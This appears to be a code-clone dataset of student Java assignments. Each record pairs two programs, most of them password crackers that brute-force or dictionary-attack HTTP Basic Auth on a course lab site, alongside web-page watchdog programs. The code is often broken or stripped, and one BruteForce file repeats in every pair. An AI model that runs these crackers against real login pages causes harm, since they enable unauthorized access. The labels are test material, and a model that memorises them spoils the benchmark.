OK".equalsIgnoreCase(outcome)){ url = new URL(this.url); urlConnection = url.openConnection(); urlConnection.setDoInput(true); urlConnection.setDoOutput(true); urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1"); urlConnection.setRequestProperty("Host", url.getHost()); password = getNextPassword(); if(password == null) return null; System.out.print(password); authorization = user + ":" + password; urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes())); outcome = urlConnection.getHeaderField(null); this.attempts ++; urlConnection = null; url = null; if(this.attempts%51 == 0) for(int b = 0; b < 53;b++) System.out.print("\b \b"); else System.out.print("\b\b\b."); } return password; } public int getAttempts(){ return this.attempts; } public static void main (String[] args) { if(args.length != 3){ System.out.println("usage: java attacks.Dictionary <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. > <dictionary: e.g. /usr/share/lib/dict/words>"); System.exit(1); } Dictionary dictionary1 = new Dictionary(args[0], args[2]); try{ Calendar cal1=null, cal2=null; cal1 = Calendar.getInstance(); System.out.println("Cracking started at: " + cal1.getTime().toString()); String password = dictionary1.crackPassword(args[1]); if(password != null) System.out.println("\nPassword is: "+password); else System.out.println("\nPassword could not retrieved!"); cal2 = Calendar.getInstance(); System.out.println("Cracking finished at: " + cal2.getTime().toString()); Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime()); System.out.println("Total Time taken crack: " + (d3.getTime())/1000 + " sec"); System.out.println("Total attempts : " + dictionary1.getAttempts()); }catch(MalformedURLException mue){ mue.printStackTrace(); } catch(IOException ioe){ ioe.printStackTrace(); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
012.java
197.java
0
import java.net.*; import java.io.*; import java.util.regex.*; import java.util.Date; import java.util.*; import java.text.*; public class WatchDog { public static BufferedReader in; public static int LIMITINMINUTES=60*24; public static int TIMELIMIT=LIMITINMINUTES*1000*60; public static void main(String[] args) throws Exception { String watchedPage = "http://www.cs.rmit.edu./students/"; String currentPage = ""; System.out.println(" stop the program, press \"Alt + C\""); boolean loggedout=false; while (!loggedout){ currentPage=""; Date date = new Date(); startTime=date.getTime(); URL cs = new URL(watchedPage); HttpURLConnection connection; URLConnection csc = cs.openConnection(); try { BufferedReader in = new BufferedReader(new InputStreamReader(csc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) { currentPage = currentPage+inputLine; } } catch (IOException s) { } finally { while(in!=null) in.next(); } String lastPage=readData(); if (lastPage.trim().equals(currentPage.trim())) { System.out.println("Pages match, nothing email."); } else { String checkCurrentPage = currentPage.trim(); String checkLastPage = lastPage.trim(); int iterations; boolean lastLongestString; if (checkCurrentPage.length()<checkLastPage.length()) { iterations = checkCurrentPage.length(); lastLongestString = true; } else { iterations = checkLastPage.length(); lastLongestString = false; } String additions = "Here the additions the : \n"; boolean add=false; String subtractions = "Here the parts removed from the : \n"; boolean sub=false; for (int count=0; count<iterations; count++) { if (checkLastPage.length()>count && checkCurrentPage.length()>count){ if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count))) { if (count<20){ additions = "Sorry changes together distinguish additions and subtractions . Here is where : "+ checkCurrentPage.substring(count, checkCurrentPage.length()); count = iterations; } else { checkCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length()); checkLastPage=checkLastPage.substring(count, checkLastPage.length()); iterations=iterations-count; count=0; String regexAdd=""; if (checkLastPage.length()<20){ regexAdd=checkLastPage.substring(count, checkLastPage.length()); } else { regexAdd=checkLastPage.substring(0,19); } String [] changes=checkCurrentPage.split(regexAdd, 2); int changeslength=changes.length; if (changeslength>1){ add=true; additions = additions + changes[0]; if (changeslength>1){ checkCurrentPage=regexAdd+changes[1]; } else { if (lastLongestString==true) count=iterations; } } else { String regexSub=""; if (checkCurrentPage.length()<20){ regexSub=checkCurrentPage.substring(count, checkCurrentPage.length()); } else { regexSub=checkCurrentPage.substring(0,19); } String [] changesSub=checkLastPage.split(regexSub, 2); int changeslengthSub=changesSub.length; if (changeslengthSub>1){ sub=true; subtractions = subtractions + changesSub[0]; if (changeslengthSub>1){ checkLastPage=regexSub+changesSub[1]; } else { if (lastLongestString==false) count=iterations; } } } } } } } String emailBody="Changes have been . \n"+additions+subtractions; sendEmail(emailBody); } writeData(currentPage); wait24(startTime); } } private static void wait24( int startTime) { boolean waiting=true; while(waiting){ Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ waiting=false; } } } public static String readData() { String data; String lastPage=""; try { BufferedReader in = new BufferedReader(new FileReader("LastVisitedPage.html")); while ((data = in.readLine())!=null) { lastPage= lastPage + data +"\n"; } } catch (FileNotFoundException e1) { System.exit(0); } catch (IOException e2) { System.out.println("IO Exception, exiting"); System.exit(0); } finally { try { if (null!=in) { in.next(); } } catch (IOException e3) {} } return lastPage; } public static void writeData(String currentPage) { PrintWriter out; try { out = new PrintWriter (new BufferedWriter(new FileWriter("LastVisitedPage.html"))); out.println(currentPage); } catch (IllegalArgumentException e1) { System.out.println ("Sorry, 't write file. None of changes in this session have been saved"); System.exit(0); } catch (IOException e2) { System.out.println ("Sorry, 't write file. None of changes in this session have been saved"); System.exit(0); } finally {} } public static void sendEmail(String emailBody){ Socket smtpSocket =null; DataOutputStream os = null; InputStreamReader is = null ; Date dDate = new Date(); DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US); try{ smtpSocket = new Socket(".rmit.edu.", 25); os = new DataOutputStream(smtpSocket.getOutputStream()); is = new InputStreamReader(smtpSocket.getInputStream()); BufferedReader = new BufferedReader(is); if(smtpSocket != null && os != null && is != null){ try { os.writeBytes("HELO .rmit.edu.\r\n"); os.writeBytes("MAIL From: <@.rmit.edu.>\r\n"); os.writeBytes("RCPT : <@cs.rmit.edu.>\r\n"); os.writeBytes("DATA\r\n"); os.writeBytes("X-Mailer: Via Java\r\n"); os.writeBytes("DATE: " + dFormat.format(dDate) + "\r\n"); os.writeBytes("From: <@cs.rmit.edu.>\r\n"); os.writeBytes(": <@cs.rmit.edu.>\r\n"); os.writeBytes("Subject: updated\r\n"); os.writeBytes(emailBody + "\r\n"); os.writeBytes("\r\n.\r\n"); os.writeBytes("QUIT\r\n"); String responseline; while((responseline=is.readLine())!=null){ if(responseline.indexOf("Ok") != -1) { break; } } } catch(Exception e){ System.out.println("Cannot send email as error occurred."); } } else System.out.println("smtpSocket another variable is null!"); } catch(Exception e){ System.out.println("Host unknown"); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
135.java
197.java
0
import java.util.*; import java.io.*; public class WatchDog { public static void main(String args[]) { Runtime rt1 = Runtime.getRuntime(); Process prss1= null; try { prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/"); }catch(java.io.IOException e){} MyWatchDogTimer w = new MyWatchDogTimer(); Timer time = new Timer(); time.schedule(w,864000000,864000000); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
117.java
197.java
0
import java.util.*; public class CrackThread implements Runnable { private String strUsername; private String strURL; private int iSeed; private int iEnd; public CrackThread() { } public void setParams(String url, String username, int seed, int end) { strUsername = username; strURL = url; iSeed = seed; iEnd = end; } public void run() { Date dtStart, dtEnd; PasswordGen pwd = new PasswordGen(); PasswordTest tester; int i=1; boolean bDone = false; Result res; dtStart = new Date(); pwd.setSeed(iSeed); while(!bDone) { tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword()); bDone = tester; i++; if(i % 100 == 0) { System.out.println(pwd.getPassword()); } if(bDone) { res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i); System.out.print(res.toString()); } else { } if( i >= iEnd) bDone = true; } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
168.java
197.java
0
package java.httputils; import java.util.ArrayList; import java.util.Collection; import java.util.Iterator; import java.util.Observable; import java.util.Observer; public class BruteForceThreadPool extends ThreadGroup implements Observer { protected String URL = "http://localhost:8080/secret/index.html"; protected int poolSize = 6; protected Collection threadList = new ArrayList(); protected String fileName = "BruteForceReport.txt"; protected boolean finished = false; protected String userName = ""; public BruteForceThreadPool(String name) { super(name); } public BruteForceThreadPool(ThreadGroup parent, String name) { super(parent, name); } public synchronized void update(Observable o, Object arg) { System.out.println("Update method called the observer."); RunnableBruteForce rbf = (RunnableBruteForce) o; rbf.createReport(); for (Iterator iter = threadList.iterator(); iter.hasNext();) { RunnableBruteForce target = (RunnableBruteForce) iter.next(); target.setStop(true); } finished = true; } protected void start(int threads) { int load = BruteForce.letters.length / threads; int remainder = BruteForce.letters.length % threads; for (int i = 0, end = ( + load); end < BruteForce.letters.length; i = end, end += load) { RunnableBruteForce runnable = new RunnableBruteForce(); runnable.setURL(getURL()); runnable.setRangeStart(); runnable.setUserName(userName); runnable.setRangeEnd( end + load > BruteForce.letters.length ? BruteForce.letters.length : end); runnable.addObserver(this); runnable.setFileName(getFileName()); threadList.add(runnable); } for (Iterator iter = threadList.iterator(); iter.hasNext();) { RunnableBruteForce target = (RunnableBruteForce) iter.next(); new Thread(target).start(); } } public static void main(String[] args) { BruteForceThreadPool pool = new BruteForceThreadPool("BruteForceThreadGroup"); if (args.length < 4) { pool.printUsage(); return; } pool.setURL(args[0]); pool.userName = args[1]; pool.setFileName(args[2]); pool.get(Integer.parseInt(args[3])); while (true) { try { Thread.currentThread().sleep(100); if (pool.finished) { break; } } catch (InterruptedException e) { e.printStackTrace(); } } System.exit(0); } public String printUsage() { StringBuffer s = new StringBuffer(); s.append("** BruteForceThreadPool proper usage **\n\n"); s.append( "java ..httputils.BruteForceThreadPool <URL> <UserName> <OutputFile> < Of Threads = 6>\n\n"); return s.toString(); } public Collection getThreadList() { return threadList; } public void setThreadList(Collection collection) { threadList = collection; } public String getFileName() { return fileName; } public void setFileName(String string) { fileName = string; } public String getURL() { return URL; } public void setURL(String string) { URL = string; } public int getPoolSize() { return poolSize; } public void setPoolSize(int i) { poolSize = i; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
048.java
197.java
0
import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; import java.net.HttpURLConnection; public class BruteForce { String uname = ""; String pword = "null"; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String cad = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i<v.size(); i++) { pword = (String)v.elementAt(i); String up = uname + ":" + pword; String encoding; try { secureSite.misc.BASE64Encoder encoder = (secureSite.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance(); encoding = encoder.encode (up.getBytes()); } catch (Exception ex) { Base64Converter encoder = new Base64Converter(); encoding = encoder.encode(up.getBytes()); } connection.setRequestProperty ("Authorization", " " + encoding); connection.connect(); if(connection instanceof HttpURLConnection) { HttpURLConnection httpCon=(HttpURLConnection)connection; if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED) { System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword); httpCon.disconnect(); doConnect(uname, i+1); } else { System.out.println("\n\n\nPassword for HTTP Secure Site By BruteForce Attack"); System.out.println( +"\tPassword : "+ pword); runTime = System.currentTimeMillis() - runTime; System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i); System.exit(0); } } } } } catch(Exception ex) { ex.printStackTrace(); } } public Vector getPassword() { try { makePasswords mp = new makePasswords(); mp.makePass(); mp.loadFile(); v = mp.getVector(); } catch(Exception ex) { ex.printStackTrace(); } return v; } public void setTimeTaken( int time_taken) { runTime = time_taken; } public static void main( String args[] ) throws IOException { try { runTime1 = System.currentTimeMillis(); BruteForce newDo = new BruteForce(); newDo.setTimeTaken(runTime1); newDo.getPassword(); String site = "http://sec-crack.cs.rmit.edu./SEC/2/"; newDo.doConnect(site, 0); }catch(Exception ex) { System.out.println("Errrrrrrr"); } } } class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24=( octetString [ i++ ] & 0xFF ) << 16; bits24 |=( octetString [ i++ ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
004.java
197.java
0
import java.io.*; import java.util.*; import java.net.*; import java.net.Authenticator; public class Dictionary { private String result =""; public class customAuthenticator extends Authenticator { public customAuthenticator(String passwd) { this.pass = passwd; } protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication("",pass.toCharArray()); } public String pass; } public Dictionary() { DataInputStream dis = null; String record = null; int recCount = 0, flag=0; String result=""; java.util.Date d = java.util.Calendar.getInstance().getTime(); System.out.println(d.toString()); String url = "http://sec-crack.cs.rmit.edu./SEC/2/"; int count=1; String passwd=new String(); HttpURLConnection connection = null; URL u = null; try { u = new URL(url); File f = new File("/usr/share/lib/dict/words"); FileInputStream fis = new FileInputStream(f); BufferedInputStream bis = new BufferedInputStream(fis); dis = new DataInputStream(bis); while ( (record=dis.readLine()) != null ) { System.out.println(count+ " ) " + record); count++; connection = (HttpURLConnection) u.openConnection(); Authenticator.setDefault(new customAuthenticator(record)); if (connection.getResponseCode()==200) { System.out.print("The password is : "+record); System.out.println(); java.util.Date d1 = java.util.Calendar.getInstance().getTime(); System.out.println(d1.toString()); System.out.println("\ntime taken in seconds:"+ (d1.getTime() - d.getTime())/1000+"\n"); System.exit(0); } connection.disconnect(); } } catch(Exception e) { System.err.println(e); } } public static void main(String[] args) { Dictionary = new Dictionary(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
239.java
197.java
0
import java.util.*; import java.io.*; import java.net.*; class WatchDog { public static void main (String a[]) { try{ for(int i=0;i<4;i++) { String filename = "new.txt"; if(i==0) { filename="original.txt"; } WatchDogThread myTh = new WatchDogThread(filename); Thread th = new Thread( myTh ); th.start(); th.sleep(20000); if(i>2) { Runtime.getRuntime().exec("wget http://yallara.cs.rmit.edu.:28589/mymail.php"); } } } catch(Exception ex1) { System.out.println(" error while running looop "+ex1); } } } class WatchDogThread implements Runnable { String filename="incorrect.txt"; public WatchDogThread(String filename) { this.filename = filename; } public void run() { URL u = null; try { u=new URL("http://yallara.cs.rmit.edu./~/.html"); BufferedReader in = new BufferedReader( new InputStreamReader(u.openStream( )) ); PrintWriter out = new PrintWriter(new BufferedWriter(new FileWriter(filename))); String s = in.readLine(); while( s != null) { out.println(s); s=in.readLine(); System.out.println("printing : "+s); } System.out.println("finished ----- "); in.print(); out.print(); } catch(Exception ert) { System.out.println("exception in thread "+ert); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
178.java
197.java
0
import java.io.*; import java.net.*; import java.util.*; public class Watchdog { public static void main(String args[]) { String mainLink="http://www.cs.rmit.edu./students/"; String sender = "@cs.rmit.edu."; String recipient = "<webtech@acuneeds.>"; String hostName = "yallara.cs.rmit.edu."; int delay = 86400000; try { int imgSrcIndex, imgSrcEnd; String imgLink; Vector imageList = new Vector(); HttpURLConnection imgConnection; URL imgURL; EmailClient email = new EmailClient(sender, recipient, hostName); URL url=new URL(mainLink); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream())); FileWriter fwrite = new FileWriter("local.txt"); BufferedWriter writefile = new BufferedWriter(fwrite); String line=webpage.readLine(); while (line != null) { writefile.write(line,0,line.length()); writefile.newLine(); line = line.toLowerCase(); imgSrcIndex=line.indexOf("src"); if(imgSrcIndex!=-1) { imgLink = line.substring(imgSrcIndex+3); imgSrcIndex=imgLink.indexOf("\""); imgLink = imgLink.substring(imgSrcIndex+1); imgSrcEnd = imgLink.indexOf("\""); imgLink = imgLink.substring(0,imgSrcEnd); if (imgLink.startsWith("http")) { imgURL = new URL(imgLink); imgConnection = (HttpURLConnection) imgURL.openConnection(); } else { imgURL = new URL(mainLink); imgURL = new URL(imgURL, imgLink); imgConnection = (HttpURLConnection) imgURL.openConnection(); imgLink = (imgConnection.getURL()).toString(); } imageList.add(new ImageFile(imgLink, imgConnection.getContentLength())); imgConnection.disconnect(); } line = webpage.readLine(); } writefile.close(); fwrite.close(); webpage.close(); connection.disconnect(); WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay); } catch (IOException ioe) { System.out.println(ioe); System.out.println("Please run program again."); System.exit(0); } } }
